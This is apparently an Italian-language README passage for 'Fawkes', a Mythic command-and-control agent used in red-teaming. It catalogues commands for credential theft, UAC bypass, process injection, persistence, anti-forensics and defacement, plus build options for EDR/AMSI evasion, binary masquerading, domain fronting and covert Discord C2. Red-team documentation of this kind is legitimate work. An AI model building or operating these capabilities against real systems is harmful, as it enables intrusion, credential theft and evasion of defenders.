triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | Trova file di alto valore per esfiltrazione — documenti, credenziali, configurazioni, database (.db/.sqlite), script (.py/.sh/.ps1), archivi (.zip/.tar/.7z), file di posta (.pst/.eml/.mbox), file modificati di recente o scansione di percorso personalizzata. **recon-chain**: catena automatica di sotto-attività — portscan → enum condivisioni SMB → share hunt → triage locale (richiede target, nome utente/password). Multipiattaforma (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | Enumera i trust di dominio/foresta tramite LDAP con topologia della foresta, analisi di transitività, forza di cifratura e identificazione del percorso di attacco. Multipiattaforma (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | Modifica i timestamp dei file per mimetizzarsi. Ottieni, copia da un altro file, imposta un'ora specifica, abbina i vicini della directory (IQR) o casuale entro un intervallo. `clean-prefetch` elimina i file Prefetch di Windows per un eseguibile nominato. Windows modifica anche l'ora di creazione.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Solo Windows)** Gestione sessioni RDP — elenca, dirotta, disconnette o disconnette sessioni. Acquisizione di sessione senza credenziali (T1563.002).
ts | `ts [-a] [-i PID]` | **(Solo Windows)** Elenca i thread nei processi. Per impostazione predefinita mostra solo i thread allertabili (Sospeso/DelayExecution). Usa -a per tutti i thread, -i per filtrare per PID (T1057).
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Solo Windows)** Bypassa UAC per escalare da integrità media ad alta. 8 tecniche: hijack del registro, hijack di variabili d'ambiente, abuso di file INF, hijack CLSID COM, directory attendibile fittizia. Predefinito avvia callback elevato (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | Filtra o conta le righe duplicate consecutive in un file. La modalità count ordina per frequenza. Multipiattaforma (T1083).
unlink | `unlink -connection_id <uuid>` | Disconnette un agente P2P collegato (TCP o named pipe). Multipiattaforma (T1572).
uptime | `uptime` | Mostra l'uptime del sistema, l'ora di avvio e i carichi medi. Multipiattaforma (T1082).
upload | `upload` | Carica un file sul target con trasferimento chunked. Supporta la decompressione automatica dei file gzip. Verifica hash SHA256.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Solo Windows)** Interroga o cancella il journal delle modifiche USN NTFS — distrugge la cronologia delle operazioni sui file per anti-forense (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | Inietta shellcode in un processo remoto (inject), migra agente (migrate: inject + exit) o avvia un nuovo processo con LD_PRELOAD .so (ldpreload: solo Linux, nessun ptrace, bypassa Yama). **Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64):** scrittura diretta /proc/PID/mem, LD_PRELOAD tramite memfd. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | Rileva ambiente VM/hypervisor o analizza l'evasione della sandbox. `detect`: OUI MAC, DMI/SMBIOS, strumenti VM, SCSI, flag hypervisor CPU. `sandbox`: analisi punteggio — conteggio CPU, RAM, disco, uptime, temporizzazione sleep, hostname, conteggio processi, username. Multipiattaforma (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | Tecniche di impatto: gestione VSS (Windows), inibizione del ripristino (T1490), spegnimento/riavvio (T1529, multipiattaforma). Le azioni distruttive richiedono -confirm true. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | Monitora una directory per modifiche al filesystem — rileva file nuovi, modificati ed eliminati tramite polling. Supporta filtri glob e rilevamento hash MD5. Multipiattaforma (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | Conta righe, parole, caratteri e byte nei file. Modalità directory con filtro glob pattern e totali. Multipiattaforma (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Solo Windows)** Gestisce la memorizzazione nella cache delle credenziali in chiaro WDigest. Abilita per catturare password in chiaro al prossimo accesso. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` o `winrm -action check -host <target> [-username <user> -password <pass>]` | Esegue comandi su host Windows remoti tramite WinRM con autenticazione NTLM. Supporta pass-the-hash, cmd.exe e PowerShell. `check` valida i prerequisiti WinRM (porte 5985/5986, autenticazione, shell). Multipiattaforma (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Solo Windows)** Enumera le finestre dell'applicazione visibili — mostra HWND, PID, nome del processo, classe della finestra e titolo. I filtri di ricerca filtrano per titolo/processo/classe. MITRE T1010.
who | `who [-all true]` | Mostra gli utenti attualmente connessi e le sessioni attive. Linux: analizza utmp. Windows: API WTS. macOS: comando who. Multipiattaforma (T1033).
whoami | `whoami` | Mostra l'identità dell'utente corrente e il contesto di sicurezza. Windows: nome utente, SID, tipo di token, livello di integrità, appartenenza a gruppi, privilegi. Linux: utente, UID, GID, gruppi, capacità effettive (decodificate), contesto SELinux/AppArmor, rilevamento contenitore. macOS: utente, UID, GID, gruppi.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Solo Windows)** Esegue query WMI, creazione di processi, upload di file ed esecuzione in fasi tramite API COM. upload: trasferisce file tramite staging con certutil/PowerShell. exec-staged: carica poi esegue con pulizia automatica. `check` valida i prerequisiti WMI (RPC 135, connettività WMI). MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Solo Windows)** Persistenza tramite sottoscrizione di evento WMI tramite API COM. Supporta consumer CommandLine e ActiveScript (VBScript/JScript). Senza file, sopravvive ai riavvii. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | Recupera i profili e le credenziali delle reti WiFi salvate. Windows: API WLAN, Linux: NetworkManager/wpa_supplicant/iwd, macOS: Portachiavi. Multipiattaforma (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | Scrive contenuto nei file o deturpa pagine web. `write`: crea/sovrascrive/aggiunge (default). `deface`: sostituisce il contenuto web con un messaggio di deturpazione (T1491, cancello di sicurezza). Multipiattaforma (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Solo Windows)** Scrive byte all'indirizzo di una funzione DLL.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Solo Linux/macOS)** Gestisce attributi estesi di file — elenca, ottiene, imposta, elimina. Complemento Unix per ADS Windows per nascondere dati (T1564.004).## Aumento dei comandi Forge
Fawkes supporta l'aumento dei comandi di [Mythic Forge](https://github.com/MythicAgents/forge), che estende dinamicamente le capacità dell'agente con raccolte di strumenti esterni. Quando Forge è installato insieme a Mythic, comandi aggiuntivi appaiono automaticamente nell'interfaccia Mythic per i callback di Fawkes — senza necessità di ricostruire l'agente.
**Raccolte di strumenti supportate:**
| Raccolta | Tipo | Esegue tramite | Esempi |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | Assembly .NET | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | File BOF/COFF | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |
### Installazione (Nuova installazione)
**Passo 1: installare Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge
Passaggio 2: Aggiungi Fawkes al supporto per i tipi di payload di Forge
Modifica InstalledServices/forge/payload_type_support.json e aggiungi l'entry di Fawkes all'array JSON:```json
{
"agent": "fawkes",
"bof_command": "inline-execute",
"bof_file_parameter_name": "bof_file",
"bof_argument_array_parameter_name": "coff_arguments",
"bof_entrypoint_parameter_name": "function_name",
"inline_assembly_command": "inline-assembly",
"inline_assembly_file_parameter_name": "assembly_file",
"inline_assembly_argument_parameter_name": "assembly_arguments",
"execute_assembly_command": "",
"execute_assembly_file_parameter_name": "",
"execute_assembly_argument_parameter_name": "",
"assembly_default_execution_method": "inline_assembly"
}
Questo mappa l'interfaccia dei parametri generici di Forge ai nomi dei comandi e dei parametri specifici di Fawkes. Il mapping dei campi:
- `bof_command` → comando `inline-execute` di Fawkes (esecuzione BOF/COFF)
- `inline_assembly_command` → comando `inline-assembly` di Fawkes (esecuzione assembly .NET)
- `execute_assembly_command` → vuoto (Fawkes usa inline-assembly per tutta l'esecuzione .NET)
- I nomi dei parametri devono corrispondere esattamente a ciò che le agentfunctions di Fawkes definiscono nel gruppo di parametri "Forge"
**Passo 3: Ricostruisci e riavvia**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes
Step 4: Registrare le fonti degli strumenti
Apri l'interfaccia utente di Mythic e usa il comando forge_register (disponibile su qualsiasi callback) per registrare le fonti degli strumenti. Fonti comuni:
Per registrare una fonte, esegui forge_register con commandName impostato sul nome semplice della fonte (ad es. Rubeus, non forge_net_Rubeus) e remove impostato su false.
Dopo la registrazione, Forge scarica i binari dello strumento e crea comandi aumentati (ad es. forge_net_Rubeus, forge_bof_nanodump) che appaiono nell'elenco dei comandi del callback.
Step 5: Verifica
I callback esistenti vedono automaticamente i comandi Forge — nessun nuovo payload necessario. Verifica eseguendo uno strumento registrato:
autopatch o start-clr (patching AMSI per strumenti .NET)forge_net_Seatbelt)-group=system)inline-assembly con il binario dello strumento incorporatostart-clr con autopatch per inizializzare il CLR e patchare AMSI — senza questo, Windows Defender potrebbe bloccare l'esecuzione dell'assemblyinline-execute e inline-assembly di Fawkes tramite il gruppo di parametri "Forge"payload_type: "forge" nella mutazione createTask — senza questo, Mythic cerca solo il proprio tipo di payload del callback| Variante | Tecnica | Target | Go Shellcode |
|---|---|---|---|
| 1 | Catena del gestore Ctrl-C | Solo processi console | No |
| 4 | PEB KernelCallbackTable | Solo processi GUI | Sì |
Per descrizioni dettagliate delle varianti, vedi Dettagli delle tecniche di iniezione.
Quando si compila in modalità condivisa (DLL) o windows-shellcode, il parametro di build dll_exports controlla quali esportazioni DLL sono incluse:
Metodi di esecuzione con esportazioni complete:
Fawkes supporta l'inflazione binaria opzionale al momento della build. Questo incorpora un blocco di byte ripetuti nell'agente compilato, che può essere utilizzato per aumentare la dimensione del file o abbassare i punteggi di entropia.
Due parametri di build controllano questo:
0x90 o 0x41,0x42)Il pattern di byte viene ripetuto inflate_count volte, quindi la dimensione totale aggiunta è length(byte_pattern) * inflate_count.
Riferimento rapido per le dimensioni:
Quando l'inflazione non è configurata, viene aggiunto solo 1 byte di overhead al binario.
I binari PE di Windows contengono metadati di risorse — informazioni sulla versione, icone e manifest UAC — visibili in Proprietà file, Task Manager ed Esplora file. I binari Go predefiniti non hanno questi metadati, il che è un forte segnale di rilevamento per strumenti e analisti di sicurezza.
Fawkes supporta l'incorporamento di risorse PE al momento della build per impersonare binari Windows legittimi:
Parametri di build:
Preimpostazioni (10 binari Windows comuni con informazioni versione reali):
notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker
I campi individuali sovrascrivono i valori predefiniti. Quando nessun parametro di risorsa PE è impostato, il binario rimane invariato rispetto all'output Go predefinito.
Fawkes registra automaticamente gli artefatti con Mythic per i comandi rilevanti per l'opsec. Gli artefatti appaiono nell'interfaccia utente di Mythic sotto la scheda Artefatti, dando agli operatori un quadro chiaro di tutti gli indicatori forensi generati durante un impegno.
Tipi di artefatti tracciati:
I comandi di sola lettura (ls, ps, cat, env, ecc.) non generano artefatti.
I comandi di acquisizione delle credenziali segnalano automaticamente le scoperte all'archivio Credenziali di Mythic, rendendole ricercabili ed esportabili dall'interfaccia utente di Mythic.
Il comando keylog si integra con la funzione Keylog di Mythic. Quando i tasti premuti vengono restituiti tramite stop o dump, vengono automaticamente analizzati per titolo della finestra e inviati al tracciatore keylog di Mythic con attribuzione dell'utente. I keylog sono ricercabili nell'interfaccia utente di Mythic per titolo finestra, utente o contenuto dei tasti.
I comandi make-token e steal-token registrano i token con il tracciatore Callback Tokens di Mythic. Ciò fornisce visibilità su quali token sono associati a ciascun callback, inclusa l'identità dell'utente impersonato e il processo di origine. Il comando rev2self rimuove automaticamente i token tracciati quando l'impersonificazione viene interrotta.
Controlla come l'agente convalida i certificati HTTPS quando comunica con il server C2. Configurato al momento della compilazione tramite il parametro tls_verify:
| Modalità | Descrizione |
|---|---|
none | Salta tutta la verifica TLS (predefinita, compatibile all'indietro) |
system-ca | Convalida i certificati rispetto al trust store del sistema operativo |
pinned:<sha256> | Blocca un'impronta digitale specifica del certificato (SHA-256 esadecimale). L'agente rifiuta le connessioni se il certificato del server non corrisponde. |
Il pinning del certificato impedisce l'intercettazione MITM del traffico dell'agente anche se un attaccante controlla un CA attendibile.
Lo stack TLS standard di Go produce un hash JA3 distintivo che gli strumenti di sicurezza di rete possono identificare come traffico non browser. Il parametro di build tls_fingerprint utilizza uTLS per falsificare il ClientHello TLS, producendo un'impronta digitale JA3 corrispondente a un browser.
Aggiungi l'autenticazione del certificato client al profilo C2 HTTP. Quando configurato, l'agente presenta un certificato client durante l'handshake TLS, consentendo al server C2 di verificare l'identità dell'agente. Ciò previene l'intercettazione HTTPS passiva e gli attacchi MITM tramite proxy.
| Parametro | Descrizione |
|---|---|
mtls_cert | Certificato client in formato PEM |
mtls_key | Chiave privata client in formato PEM |
Il certificato/chiave vengono codificati in base64 al momento della compilazione, crittografati XOR se l'offuscamento delle stringhe è abilitato e archiviati nel vault di configurazione AES-256-GCM in fase di esecuzione. Si combina con le modalità di verifica TLS esistenti e lo spoofing dell'impronta digitale JA3.
URL di callback C2 multipli con failover automatico. Se l'host di callback primario non è raggiungibile, l'agente scorre in modo trasparente attraverso gli URL di fallback prima di applicare il backoff.
| Parametro | Descrizione |
|---|---|
fallback_hosts | Host C2 di fallback separati da virgola (ad es. http://backup1.example.com,https://backup2.example.com) |
Stessa porta e crittografia del primario. Ricorda l'ultimo URL riuscito. Funziona con vault di configurazione e offuscamento XOR.
Impedisce all'agente di eseguirsi su sistemi non autorizzati. Configurato al momento della compilazione — l'agente esce silenziosamente prima di effettuare qualsiasi contatto di rete se i controlli falliscono. Nessun log, nessun artefatto, nessun traffico C2.
Tutti i pattern sono case-insensitive e ancorati per corrispondere al valore completo. Più chiavi possono essere combinate — tutte devono passare. Pattern regex non validi portano all'uscita (l'agente esce). Lascia vuoto per saltare un controllo.
Derivazione della chiave ambientale (env_key_derive): Quando impostato, tutta la configurazione C2 sensibile (host di callback, UUID, chiave di crittografia, URI, impostazioni proxy, ecc.) viene crittografata con AES-256-GCM al momento della compilazione utilizzando una chiave derivata dall'ambiente del target. In fase di esecuzione, l'agente ri-deriva la chiave dal proprio ambiente — se non corrisponde (host/dominio/utente sbagliato), la decifratura fallisce e l'agente esce silenziosamente. Questo è più forte della corrispondenza regex perché i valori di configurazione non sono mai presenti nel binario in alcuna forma. Richiede che i corrispondenti valori env_key_* contengano i valori ESATTI del target (non pattern regex). Si sovrappone a obfuscate_strings (strato XOR applicato prima, poi AES-GCM).
Abilita il parametro di build obfuscate_strings per codificare XOR tutte le stringhe di configurazione C2 (host di callback, URI, user agent, chiave di crittografia, UUID) al momento della compilazione con una chiave casuale per build di 32 byte. Impedisce l'estrazione banale di indicatori tramite strings sul binario. Decodificato in fase di esecuzione. Multipiattaforma.
Abilita il parametro di build block_dlls per applicare PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON a tutti i processi figli generati dall'agente (comandi run, powershell). Impedisce all'EDR di iniettare DLL di monitoraggio nei processi generati. Utilizza STARTUPINFOEX con UpdateProcThreadAttribute. Solo Windows.
Imposta config -action set -key default_ppid -value <PID> in fase di esecuzione per far apparire tutti i processi figli (run, powershell) come figli di un processo legittimo (ad es. explorer.exe). Sconfigge il rilevamento delle relazioni genitore-figlio da parte dell'EDR. Si combina con BlockDLL quando entrambi sono attivi. Utilizza UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Disabilita con config -action set -key default_ppid -value 0. Solo Windows (T1134.004).
Abilita il parametro di build auto_patch per patchare automaticamente EtwEventWrite e AmsiScanBuffer all'avvio dell'agente. Questo impedisce il rilevamento basato su ETW e la scansione AMSI prima che qualsiasi attività dell'agente abbia luogo — nessun comando manuale necessario. Solo Windows (nessuna operazione su Linux/macOS).
Abilita la cancellazione automatica del binario all'avvio tramite il parametro di build self_delete. Una volta che l'agente inizia l'esecuzione, rimuove il proprio file dal disco — eliminando il principale artefatto forense.
os.Remove() — il processo in esecuzione continua tramite il mapping in-memory dell'inode. Il file scompare dal disco immediatamente.:$DATA e poi elimina la voce del file. Nessun processo figlio generato.Il binario viene eliminato dopo che i controlli della chiave ambientale sono passati ma prima dell'inizio dell'attività di rete.
Imposta il parametro di build masquerade_name per cambiare il nome del processo dell'agente su Linux. Utilizza prctl(PR_SET_NAME) per modificare /proc/self/comm, che viene visualizzato da ps, top e htop. Massimo 15 caratteri.
Nomi utili: [kworker/0:1], [migration/0], sshd, apache2, [rcu_preempt]
Combinato con l'auto-cancellazione, l'agente appare come un thread kernel legittimo o un servizio senza file su disco.
Abilita sleep_guard_pages (richiede sleep_mask=true) per applicare VirtualProtect(PAGE_NOACCESS) sulla memoria del vault crittografata durante i cicli di sleep. Dopo che la maschera di sleep crittografa i dati sensibili (AES-256-GCM) e azzera gli originali, le pagine di guardia spostano il vault in memoria dedicata VirtualAlloc e la marcano come NO_ACCESS. Gli scanner di memoria EDR, ReadProcessMemory, WinDbg e Process Hacker ottengono STATUS_ACCESS_VIOLATION quando tentano di leggere il vault. Le pagine vengono ripristinate a PAGE_READWRITE al risveglio prima della decifratura. Su Linux/macOS, le pagine di guardia utilizzano mmap(MAP_ANON) + mprotect(PROT_NONE) — il probing attiva SIGSEGV.
La chiave del vault di sleep è vincolata all'hardware tramite HKDF-SHA256: un seed casuale viene mescolato con un hash SHA-256 della stringa della CPU e dell'UUID della macchina. Se qualcuno estrae il blob del vault da un dump di memoria e tenta la decifratura su hardware diverso, la derivazione della chiave produce una chiave diversa.
Abilita stack_spoof per falsificare lo stack di chiamata del thread in sleep, sconfiggendo gli strumenti di scansione dei thread EDR (Hunt-Sleeping-Beacons, Moneta, CrowdStrike).
indirect_syscalls=true): Un thread nativo dedicato esegue NtDelayExecution con indirizzi di ritorno fittizi che puntano a kernel32!SleepEx, kernel32!BaseThreadInitThunk e ntdll!RtlUserThreadStart — la catena standard di inizializzazione dei thread che l'EDR si aspetta.clone(CLONE_VM) con un proprio stub di codice macchina di 291 byte in memoria mmap anonima. Il figlio chiama nanosleep direttamente tramite syscall raw — nessun indirizzo del runtime Go o del codice dell'agente appare sullo stack del thread in sleep. I gestori di segnale vengono reimpostati a SIG_DFL nel figlio e PR_SET_PDEATHSIG assicura che il figlio muoia quando il genitore esce.__ulock_wait/__ulock_wake per la sincronizzazione con il runtime Go e chiama nanosleep tramite syscall raw — lo stack del thread in sleep mostra solo lo stub anonimo e i frame del kernel, nessun runtime Go o codice dell'agente.Tutte le intestazioni definite nella configurazione del profilo C2 HTTP di Mythic vengono applicate a ogni richiesta. Oltre a User-Agent (sempre supportato), gli operatori possono aggiungere intestazioni come Accept-Language, Referer, Cookie o X-Forwarded-For per mimetizzare il traffico C2 con i pattern di traffico web legittimi.
Imposta il parametro di build host_header per sovrascrivere l'intestazione HTTP Host. Ciò abilita il domain fronting: instradare il traffico attraverso una CDN (ad es. CloudFront, Azure CDN) mentre l'intestazione Host punta al tuo dominio C2 effettivo. Per i difensori della rete, il traffico appare diretto all'indirizzo IP della CDN.
Imposta il parametro di build proxy_url per instradare il traffico dell'agente attraverso un proxy HTTP o SOCKS. Utile per operare in reti aziendali con server proxy obbligatori.Esempi: http://proxy.corp.local:8080, socks5://127.0.0.1:1080
Proxy autenticati: Imposta proxy_user e proxy_pass per l'autenticazione Basic. Per proxy aziendali che richiedono autenticazione di dominio Windows, imposta anche proxy_domain (ad es. CORP) per abilitare l'autenticazione NTLM. L'handshake NTLM (Type1→Type2→Type3) viene eseguito automaticamente durante l'instaurazione del tunnel CONNECT.
Rilevamento proxy di sistema (Windows): Quando proxy_url non è impostato, l'agente interroga WinHTTP per le impostazioni proxy di sistema, inclusa la rilevazione automatica PAC/WPAD.
Tutte le build utilizzano il flag -trimpath di Go per rimuovere i percorsi locali del filesystem dal binario compilato. Senza di esso, percorsi come /home/user/project/... e /go/pkg/mod/... trapelano nel binario attraverso tracce di panic e metadati di runtime. In combinazione con -s -w (rimozione dei simboli) e -buildid vuoto, questo minimizza le informazioni forensi nel binario. Le build Garble gestiscono già questo aspetto; -trimpath copre le build non Garble.
Dopo la compilazione, il payload costruito viene automaticamente scansionato con un set di regole YARA che modellano i pattern comuni di rilevamento dei difensori. I risultati vengono mostrati nell'output di build di Mythic come passo informativo — la scansione non causa mai il fallimento della build.
Categorie di rilevamento scansionate:
Questo aiuta gli operatori a comprendere il rischio di rilevamento e a scegliere le opzioni opsec appropriate (garble, obfuscate_strings, ecc.) prima del deploy.
Il profilo HTTP effettua il callback al server Mythic tramite il profilo base non dinamico. Questo è il profilo di egress predefinito — l'agente interroga Mythic per i tasking su HTTP/HTTPS.
Funzionalità malleabili:
get_uri e post_uri supportano token che vengono risolti per ogni richiesta:
{rand:N} — N caratteri esadecimali casuali (ad es., /api/{rand:8} → /api/a3f82b1c){int:M-N} — intero casuale in un intervallo (ad es., /v{int:1-3}/status → /v2/status)content_types su un elenco separato da virgole (ad es., application/json,text/plain,application/x-www-form-urlencoded). L'agente li ruota in modo round-robin. Predefinito: application/x-www-form-urlencoded.user_agent_pool su un elenco separato da nuove righe di stringhe User-Agent. L'agente le ruota per ogni richiesta, eliminando l'impronta statica dell'UA. Predefinito: singolo UA Chrome 134.Il profilo TCP consente il collegamento peer-to-peer (P2P) degli agenti per il pivoting interno. Un agente figlio è in ascolto su una porta TCP o una named pipe di Windows e attende che un agente genitore si connetta tramite il comando link. Tutti i tasking e le risposte vengono instradati attraverso il canale di egress del genitore (HTTP), quindi il figlio non contatta mai Mythic direttamente.
Architettura:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)
**Parametri di build:**
| Parametro | Descrizione | Predefinito |
|-----------|-------------|---------|
| `tcp_bind_address` | Indirizzo e porta su cui il child deve ascoltare (es., `0.0.0.0:7777`) | _(vuoto = modalità HTTP)_ |
| `namedpipe_bind_name` | Nome della named pipe su cui il child deve ascoltare (es., `msrpc-f9a1`). Solo Windows. | _(vuoto)_ |
Quando `tcp_bind_address` o `namedpipe_bind_name` è impostato, l'agente si avvia in modalità listener P2P invece della modalità di egress HTTP.
**Flusso di utilizzo (TCP):**
1. Crea un **child agent** con il profilo C2 TCP e `tcp_bind_address` impostato (es., `0.0.0.0:7777`)
2. Distribuisci il child su un host interno (nessun accesso a Internet richiesto)
3. Da un **egress agent** (profilo HTTP), esegui: `link -host <child_ip> -port 7777`
4. Mythic crea un nuovo callback per il child — tutto il tasking scorre attraverso l'egress agent
5. Per disconnettere: `unlink -connection_id <uuid>`
**Flusso di utilizzo (Named Pipe):**
1. Crea un **child agent** con il profilo C2 TCP e `namedpipe_bind_name` impostato (es., `msrpc-f9a1`)
2. Distribuisci il child su un host Windows interno
3. Da un **egress agent**, esegui: `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. La connessione utilizza SMB (porta 445), mescolandosi con il normale traffico di condivisione file di Windows
5. Per disconnettere: `unlink -connection_id <uuid>`
**Crittografia:** AES-256-CBC con HMAC-SHA256 (come il profilo HTTP). Il protocollo di rete utilizza framing con prefisso di lunghezza di 4 byte su TCP o named pipe.
**Supporto per il relink:** Se un genitore si disconnette (es., tramite `unlink` o il parent agent muore), il child agent memorizza nella cache i dati di checkin e attende una nuova connessione genitore. Quando un nuovo egress agent esegue `link`, il child si registra automaticamente con Mythic come un nuovo callback. Nessun intervento manuale necessario.
**Child multipli:** Un egress agent può collegarsi a più child TCP e named pipe simultaneamente. Ogni child opera indipendentemente con il proprio callback.
**Note OPSEC:** Le connessioni named pipe utilizzano SMB (porta 445) e generano meno indicatori a livello di rete rispetto al TCP puro, ma Sysmon Event ID 17/18 (PipeEvent) e gli eventi ETW di Microsoft-Windows-SMBClient verranno registrati se configurati.
### Profilo C2 Discord
Il profilo Discord utilizza un bot e un canale Discord come trasporto C2 occulto. L'agente comunica con Mythic pubblicando messaggi crittografati su un canale Discord, dove un bot lato server li inoltra a Mythic tramite gRPC push C2.
**Architettura:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic
Come funziona:
get_tasking tramite Discord. Con il push C2, i compiti possono anche essere inviati in modo indipendente sul canale. L'agente raccoglie tutti i messaggi corrispondenti per ciclo di polling.Parametri di build:
Crittografia: AES-256-CBC con HMAC-SHA256 (stesso schema del profilo HTTP). La configurazione sensibile (token del bot, ID canale) viene crittografata in memoria dopo l'inizializzazione utilizzando un vault AES-256-GCM.
Supporto Push C2: Il server C2 Discord utilizza il push C2 di Mythic (stream gRPC persistente). I compiti possono arrivare in modo asincrono tra i cicli di polling. L'agente implementa:
Limitazione della frequenza: Rispetta i limiti di frequenza dell'API Discord con riprova automatica e backoff esponenziale (fino a 5 tentativi). Lo User-Agent è hardcoded a DiscordBot (https://github.com, 1.0) come richiesto dall'API Discord.
Prerequisiti di installazione:
config.jsonLimitazioni note:
Tutto ciò che so sugli agenti Mythic proviene dalla documentazione di Mythic o dal furto di codice e idee dagli agenti Merlin e Freyja.
Dopodiché, ho solo alimentato Claude con link di PoC e chiesto cose interessanti. Pazzesco, vero?
| Fonte | Tipo | Cosa fornisce |
|---|
| Rubeus | assembly .NET | Attacchi Kerberos (kerberoasting, forgiamento di ticket, delega) |
| Seatbelt | assembly .NET | Rilevamento della sicurezza dell'host (privilegi, credenziali, configurazioni) |
| Certify | assembly .NET | Enumerazione e abuso dei Servizi Certificati AD |
| SharpHound | assembly .NET | Raccolta dati BloodHound |
| SharpUp | assembly .NET | Controlli di escalation dei privilegi locali |
| SharpView | assembly .NET | Enumerazione di Active Directory (porting di PowerView) |
| nanodump | BOF | Dump della memoria LSASS tramite MiniDumpWriteDump |
| credman | BOF | Acquisizione di Credential Manager di Windows |
| Variante | Tecnica | Trigger | Go Shellcode |
|---|
| 1 | Sovrascrittura della routine di avvio di Worker Factory | Creazione di un nuovo thread worker | No |
| 2 | Inserimento TP_WORK | Elaborazione della coda di attività | Sì |
| 3 | Inserimento TP_WAIT | Segnalazione di eventi | Sì |
| 4 | Inserimento TP_IO | Completamento I/O file | Sì |
| 5 | Inserimento TP_ALPC | Messaggistica porte ALPC | Sì |
| 6 | Inserimento TP_JOB | Assegnazione di oggetti job | Sì |
| 7 | Inserimento TP_DIRECT | Porta di completamento I/O | Sì |
| 8 | Inserimento TP_TIMER | Scadenza timer | Sì |
| Impostazione | Esportazioni | Caso d'uso |
|---|
standard (predefinito) | Run, Fire, VoidFunc | Shellcode sRDI, rundll32, caricatori generici |
full | Standard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNow | regsvr32, servizio svchost, hijack COM |
| Esportazione | Esecuzione | MITRE |
|---|
DllRegisterServer | regsvr32 /s fawkes.dll | T1218.010 |
DllUnregisterServer | regsvr32 /u /s fawkes.dll | T1218.010 |
ServiceMain | Servizio DLL svchost.exe (solo Windows) | T1543.003 |
DllGetClassObject + DllCanUnloadNow | Hijack COM InprocServer32 | T1546.015 |
| conteggio_inflazione | Byte singolo (ad es. 0x90) | Due byte (ad es. 0x41,0x42) |
|---|
| 1.000 | 1 KB | 2 KB |
| 10.000 | 10 KB | 20 KB |
| 100.000 | 100 KB | 200 KB |
| 1.000.000 | 1 MB | 2 MB |
| 3.000.000 | 3 MB | 6 MB |
| 10.000.000 | 10 MB | 20 MB |
| Parametro | Tipo | Descrizione |
|---|
pe_preset | Scegli | Preimpostazione rapida di impersonificazione (notepad, svchost, cmd, explorer, ecc.) |
pe_company | Stringa | CompanyName (ad es. "Microsoft Corporation") |
pe_description | Stringa | FileDescription — visibile in Task Manager |
pe_product | Stringa | ProductName |
pe_version | Stringa | Versione file/prodotto (ad es. "10.0.19041.1") |
pe_copyright | Stringa | LegalCopyright |
pe_original_filename | Stringa | OriginalFilename — visibile agli strumenti forensi |
pe_icon | File | File icona .ico o .png personalizzato |
pe_manifest | Scegli | Livello UAC: asInvoker, highestAvailable, requireAdministrator |
| Tipo | Comandi |
|---|
| Creazione Processo | run, powershell, spawn, argue |
| Chiamata API | net-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (crea/elimina), psexec |
| Kill Processo | kill |
